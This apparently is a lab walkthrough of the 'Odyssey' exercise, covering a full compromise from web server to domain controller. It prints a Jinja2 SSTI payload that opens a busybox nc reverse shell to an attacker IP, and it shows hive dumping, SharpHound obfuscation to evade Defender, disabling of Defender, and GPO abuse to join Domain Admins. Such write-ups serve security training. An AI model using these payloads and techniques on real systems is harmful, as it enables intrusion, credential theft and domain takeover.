> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/odyssey.md). # Odyssey {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario ### Objective / Scope You are a member of the **Hack Smarter Red Team** and have been assigned to perform a black-box penetration test against a client's critical infrastructure. There are three machines in scope: one Linux web server and two Windows enterprise hosts. The client’s environment is currently in a degraded state due to ongoing migration efforts; the **Domain Controllers are experiencing synchronization failures**. Consequently, standard automated LDAP enumeration tools (such as BloodHound) are expected to fail or return unreliable data. The client wants to assess if an attacker can thrive in this "broken" environment where standard administrative tools are malfunctioning. **Note From Ryan Yager** Odyssey was built off a recent engagement that I had where the DC's were not syncing correctly. This caused a lot of problems during the engagement. We also had to go through a proxy, which made tools like LDAP very hard to use. Your normal tools may fail... can you think outside the box? ## Summary
Summary In Odyssey we enumerate a multi-host Active Directory environment consisting of a domain controller, a Windows workstation, and a Linux web server. Exploiting a Server-Side Template Injection (SSTI) vulnerability on the web portal, we achieve remote code execution and gain a reverse shell as `www-data`, pivoting to `root` on the web server through exposed SSH keys. Discovering credentials within configuration files, we authenticate to the internal workstation as `ghill_sa`, a local `Backup Operator`. Using registry hive extraction and offline hash dumping, we escalate to local `Administrator` on `WKST-01` and uncover additional credentials for domain users. Pivoting into the domain, we leverage `bbarkinson`'s privileges to create a controlled machine account, enumerate with SharpHound the domain, and identify a `GenericWrite` misconfiguration on the `Finance` GPO. Abusing this through `pyGPOAbuse`, we add `bbarkinson` to the `Domain Admins` group, authenticate to the domain controller, and retrieve the final flag.
## Recon In our initial reconnaissance phase, we perform a port scan on every available machine and manually probe the services available. ### DC-01 We use rustscan `-b 500 -a 10.176.156 -- -sC -sV -Pn` to enumerate all TCP ports on the `DC-01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. ``` rustscan -b 500 -a 10.1.176.156 -- -sC -sV -Pn ```
Our RustScan of `10.1.176.156` identified a Windows domain controller named `DC01.hsm.local` in the `hsm.local` domain. Exposed services include DNS `53`, Kerberos `88/464`, multiple MSRPC endpoints `135, 593, 49664+`, SMB `139/445`, LDAP and LDAPS `389/636/3268/3269` tied to Active Directory, RDP `3389`, WinRM `5985`, and .NET Remoting `9389`. This indicates a fully integrated Windows AD environment where LDAP/LDAPS and Kerberos provide authentication, SMB and RPC enable remote management, and RDP/WinRM serve as remote access points.
### WKST-01 We use rustscan `-b 500 -a 10.1.196.123 -- -sC -sV -Pn` to enumerate all TCP ports on the `WKST-01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. ``` rustscan -b 500 -a 10.1.196.123 -- -sC -sV -Pn ```
On the `WKST-01` host we were able to identify SMB `139/445`, RDP `3389` and some MSRPC endpoints `49669+`.
#### SMB We try to access the SMB service anonymously, but without success. At least we are able to identify a Windows 11 / Server 2025 Build 26100 system. ``` nxc smb WKST-01 -u guest -p '' ``` ``` nxc smb WKST-01 -u '' -p '' ```
### Web-01 We use rustscan `-b 500 -a 10.1.237.199 -- -sC -sV -Pn` to enumerate all TCP ports on the `Web-01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. ``` rustscan -b 500 -a 10.1.237.199 -- -sC -sV -Pn ```
Here we only have SSH open on port `22` and a web server running on port `5000`. The host is a Linux machine.
We visit the website hosted on port 5000 and have the Odyssey Portal in front of us. We are asked to enter our template, prefilled is the command `ping`. ``` http://web-01:5000/ ```
At the `/support` page we are able to identify an email address. ``` http://web-01:5000/support ```
## Shell as ghill\_sa on Web 01 We stay at the initial page enumerated, the index page and test the input for different types of attacks like command injection, SSTI injection and so on. We start with a simple character.
The character gets rendered, no issues yet.
Next, we test for Server Side Template Injection (SSTI). With `{{7*7}}` (a common SSTI test payload) we can check if the application evaluates it and returns `49`. If so it means that user input is being rendered by a template engine like Jinja2 without proper sanitization. ``` {{7*7}} ```
We see it gets evaluated. So we have an SSTI with which we might get an RCE.
We look for a simple Jinja2 SSTI payload and the first resource I like to refer to is the one by Ingo Kleiber. We try the following payload... {% embed url="" %} ``` {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} ```
... and we see it gets evaluated. We are `www-data`.
Next, we adapt the payload to spawn a reverse shell using busybox. We set up a listener using Penelope before. We enter the payload... {% embed url="" %} ``` busybox nc 10.200.21.30 4445 -e bash ``` {% code overflow="wrap" %} ``` {{request.application.__globals__.__builtins__.__import__('os').popen('busybox nc 10.200.21.30 4445 -e bash').read()}} ``` {% endcode %}
... and receive a reverse shell.
## Shell as root on Web01 While enumerating the targets, we notice the processing of ssh key files in .bash\_history. We look for these. ``` cat .bash_history ```
The user cannot be determined from the authorized\_keys file. Nevertheless, we copy the key to our system.
We adjust the permissions on the key and then attempt to log in as `root` to Web-01 via SSH, which is successful. We find the first flag in `/root/user.txt` on Web-01. ``` chmod 600 id_ed25519 ``` ``` ssh -i id_ed25519 root@Web-01 ```
## Shell as ghill\_sa on WKST-01 In the cronjobs, we find an entry that writes `/etc/update.conf` to `\dc01.hsm.local\share`. ``` crontab -l ```
If we examine the `/etc/update.conf` file, we find the credentials of the user `ghill_sa`. ``` cat /etc/update.cong ```
We try those credentials using RDP on WKST-01 and are able to successfully log in. We are now ghill\_sa on WKST-01. But no flags yet.
If we try to authenticate against smb and rdp using Netexec like follows it will fail. ``` nxc smb WKST-01 -u ghill_sa -p 'REDACTED!' --shares ``` With `--local-auth` we force Netexec to authenticate against the local SAM database of WKST-01 instead of attempting domain authentication, which could fail recalling the issue in the scenario. The following command works because the credentials are valid locally on the workstation, not in the domain context. ``` nxc smb WKST-01 -u ghill_sa -p 'REDACTED!' --shares --local-auth ```
## Access as Administrator on WKST-01 On WKST-01 as ghill\_sa we see we are in the Backup Operators group. ``` whoami /all ```
As we are part of Backup Operators, we have permission to copy the SAM, SYSTEM, and SECURITY hives. {% code overflow="wrap" %} ``` BUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny only ``` {% endcode %} {% embed url="" %} We might fail doing it locally, but we can back these up remotely using Impackets reg.py.
We now use reg.py to back up the hives directly to our share. To do this, we use smbserver.py to start the service. ``` smbserver.py -smb2support EXEGOL $(pwd) ```
We use backup to save all three of the aforementioned hives to the share. {% hint style="info" %} This can lead to timeouts and possibly corrupt the files. Alternatively, the backups can be stored on the system locally using reg.py, for example in `C:\Users\ghill_sa\Desktop`, and then exfiltrated using any means of your choice. {% endhint %} ``` reg.py ghill_sa:'REDACTED'@WKST-01 backup -o '\\10.200.21.30\EXEGOL' ```
Once we have successfully extracted the hives, we can use secretsdump.py to extract the hashes from SAM and SYSTEM. ``` secretsdump.py -sam './SAM.save' -system './SYSTEM.save' LOCAL ```
We are able to authenticate as the local Administrator using local-auth. ``` nxc smb WKST-01 -u Administrator -H REDACTED --shares --local-auth ```
From there we are able to use smbclient to explore the C: drive and get the second flag. {% embed url="" %} ``` smbclient.py -hashes :REDACTED administrator@WKST-01 ```
## Obfuscation of SharpHound {% hint style="warning" %} This step is not necessary, as we can disable Microsoft Defender using local admin access. Since we did not initially obtain an admin shell, enumeration continued locally using the user ghill\_sa, but this failed because Microsoft Defender was enabled and had detected SharpHound. As a workaround, we then obfuscated SharpHound using CodeCeption and discovered that WKST could not able to reach the domain. We may have flaws in the network configuration but those can only be changed by an admin... You can skip to Shell as Administrator on WKST-01 {% endhint %}
{% embed url="" %} We clone the SharpHound repository and the Codeception repository: {% embed url="" %} {% embed url="" %} Next, we need to compile Codeception first: > Open the solution with Visual Studio. Make sure it's set to `Release`, and `Build`. > > Once Codecepticon has been compiled, all the required files will be under the `Release` directory. We can either generate the command using the `CommandLineGenerator.html` or use the provided command of the blog. We'll use the command from the blog with slight adjustments to the path and profile regarding SharpHound: {% code overflow="wrap" %} ``` .\Codecepticon.exe --module csharp --action obfuscate --verbose --path "\Sharphound\Sharphound.sln" --map-file "\Sharphound\Obfuscated-Mapping.html" --profile sharphound --rename all --rename-method markov --markov-min-length 3 --markov-max-length 9 --markov-min-words 3 --markov-max-words 4 --string-rewrite --string-rewrite-method file --string-rewrite-extfile "\Sharphound\Sharphound\debug.log ``` {% endcode %} > `--module csharp` Defines the module we want to use, current options are: `csharp`, `powershell`, `vba`, and `sign`. > > `--action obfuscate` Define the action - specific to the module selected above. > > `--path "C:\code\Rubeus\Rubeus.sln"` Path to the solution you are targeting. > > `--map-file "C:\code\Rubeus\Obfuscated-Mapping.html"` This output file will contain a mapping between original and obfuscated values - something we will refer to further down this post. As long as you are using the final obfuscated executable, you need this file in your life - do not delete it. > > `--profile sharphound` Define a profile (from a pre-existing supported list). Just to clarify, this does not mean that Codecepticon only supports applications that have a profile. A profile is just extra tweaks that Codecepticon performs in order to add some final touches that are specific to that tool. > > `--rename all` Rename everything - namespaces, classes, enums, etc. > > `--rename-method markov` Set the identifier renaming method to `markov` which is auto-generation of "words that look English, but aren't". This is for helping with keeping the entropy of the executable lower. > > `--markov-min-length 3 --markov-max-length 9` All auto-generated words will be between 3 and 9 characters. > > `--markov-min-words 3 --markov-max-words 4` Each obfuscated identifier will be a combination of 3 to 4 auto-generated words. > > `--string-rewrite` Define that we also want to rewrite strings. > > `--string-rewrite-method file` Define the string rewrite method as `file`. This means that all strings will be taken out of the executable and saved in an external file, that has to be present during execution (in order to load the strings during runtime). This was implemented to minimise the risk of AV/EDRs detection - can't scan what isn't there, right? > > `--string-rewrite-extfile "C:\code\Rubeus\debug.log"` Specify the location of the external file where all the strings will be saved in. After running the command the SharpHound project has been modified.
Furthermore we get an `Obfuscated-Mapping.html` file that provides information about the obfuscated parameters. Since these are also obfuscated. Now open the SharpHound project in Visual Studio Code and compile the obfuscated version. We receive the binary (called `SymmeAntsFome.exe` in this case ) and a `debug.log`. The `debug.log` is required to rewrite the strings back to the original values, this file is required to run the obfuscated binary.
From the `Obfuscated-Mapping.html` we identify that `collectionmethods` resolves to `FlablersEngriesToxicate`
Unfortunately we did not find the All parameter passed to `collectionmethods` but we can identify it be reviewing the original and modified source and find it. In this case: `EllyJokenoidMultist`
So the following command... ``` ./SharpHound.exe -c All ``` ...translates to: {% code overflow="wrap" %} ``` ./SymmeAntsFome.exe -FlablersEngriesToxicate EllyJokenoidMultist ``` {% endcode %} If we haven't already done so, we start our SMB server... ``` smbserver.py -smb2support EXEGOL $(pwd) -username 0xb0b -password 0xb0b ```
... and mount the share on WKST-01 ``` net user x:\\10.200.21.30\EXEGOL /user:0xb0b 0xbn0b ```
Next, we copy the obfuscated Sharphound.exe and the debug.log to the machine. ``` copy x:\SymmeAntsFome.exe . ``` ``` copy x:\debug.log . ```
And run it. We see its unable to get the current domain. ``` ./SymmeAntsFome.exe -FlablersEngriesToxicate EllyJokenoidMultist ```
After further testing, we have determined that WKST-01 cannot reach the domain controller via name resolution. We therefore need to update this in the network configuration. For now we generate the Hosts file with the user `bbarkinson`, which we have also received the hash from the SAM and SYSTEM hive dump. {% code overflow="wrap" %} ``` nxc smb 10.1.93.3 -u 'bbarkinson' -H 'REDACTED' --generate-hosts-file hosts ``` {% endcode %}
``` 10.1.93.3 DC01.hsm.local hsm.local DC01 ``` ## Shell as Administrator on WKST-01 To change the network configuration on WKST-01, we need an interactive session as admin. We already have the hash. Using NetExec, we can execute commands on the system. We simply change the local admin password as follows: {% code overflow="wrap" %} ``` nxc smb WKST-01 -u 'Administrator' -H 'REDACTED' --local-auth -x 'net user Administrator Pwned123@!' ``` {% endcode %}
After issuing the command, we test whether we can authenticate with the new password set. We are successful. ``` nxc smb WKST-01 -u 'Administrator' -p 'Pwned123@!' --local-auth ```
We log in via RDP as `Administrator`.
Now that we are administrators, we can disable Microsoft Defender. ``` Set-MpPreference -DisableRealtimeMonitoring $true ``` Now we can also use the non-obfuscated version of SharpHound without any problems. This makes things easier. ``` .\SharpHound.exe ```
In `Control Panel -> Network and Internet -> Network and Sharing Center` we change the Adapter configuration `Adapter -> Properties -> Internet Protocol Version 4` to set the preferred DNS server to the IP of the domain controller `DC-01`.
Now we are able to reach out to the domain controller, but can't authenticate as the local Administrator. ``` SharpHound.exe -c all -d hsm.local --domaincontroller dc01.hsm.local ```
## Shell as LOCAL SYSTEM (WKST-01$) As a local administrator we can spawn a NT Authority System shell via the Sysinternals PsExec. This will allow us to authenticate agains the domain controller, because we will become `LOCAL SYSTEM` / `WKST-01$`. With that we have the permission to perform LDAP queries and have sufficient rights for the SharpHound collection. We did it already in Hoppers Origins: {% embed url="" %} {% hint style="info" %} Run PowerShell as Administrator to be able to use PsExec.exe {% endhint %} We spawn the powershell session as NT Authroity System usin PsExec. ``` curl http://10.200.21.30/PsExec.exe -o PsExec.exe ```
``` .\PsExec -i -s powershell ```
{% hint style="info" %} In my RDP session, I had an error where my keystrokes were not recognized in the newly spawned PowerShell terminal. If this is the case, the commands can also simply be copied into the terminal. {% endhint %}
Now we are able to run SharpHound.exe and collect the data. ``` .\SharpHound.exe -c all ```
We transfer the files to our attacker machine and ingest the data to BloodHound.
We see that the user `bbarkinson` has a `GenericWrite` permission over the `FINANCE POLICY`.
This allows us to update this GPO to execute command on behalf of an `Administrator`: {% embed url="" %} ## Access as bbarkinson on DC-01 We see we can authenticate ourselves to the domain controller using `bbarkinson`'s hash. ``` nxc smb DC-01 -u users.txt -H hashes.txt --no-bruteforce --continue-on-success ```
## Shell as bbarkinson (added to Domain Admins) on DC-01 We are recalling the machine Sysco where we already abused such permissions over a GPO. {% embed url="" %} With `pyGPOabuse` we can update an existing GPO and add or modfiy users and groups: {% embed url="" %} > pyGPOabuse, update an existing GPO - add a local admin\ > pygpoabuse 'domain'/'user':'password' -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
Our idea is now to change the password of bbarkinson and add that user to the Domain Admins group. We do that with the following command: {% code overflow="wrap" %} ``` pygpoabuse.py 'hsm.local'/'bbarkinson' \ -hashes :REDACTED \ -gpo-id '526CDF3A-10B6-4B00-BCFA-36E59DCD71A2' \ -command "net user bbarkinson Pwned123@! && net group \"Domain Admins\" bbarkinson /add" -f ``` {% endcode %}
After a short duration we are able to authenticate as `bbarkinson`. ``` nxc smb DC01.hsm.local -u 'bbarkinson' -p 'Pwned123@!' ```
We are able to RDP into the domain controller as bbarkinson, whom is now Domain Admin and we can read the final flag at `C:\Users\Administrator\Desktop\root.txt`.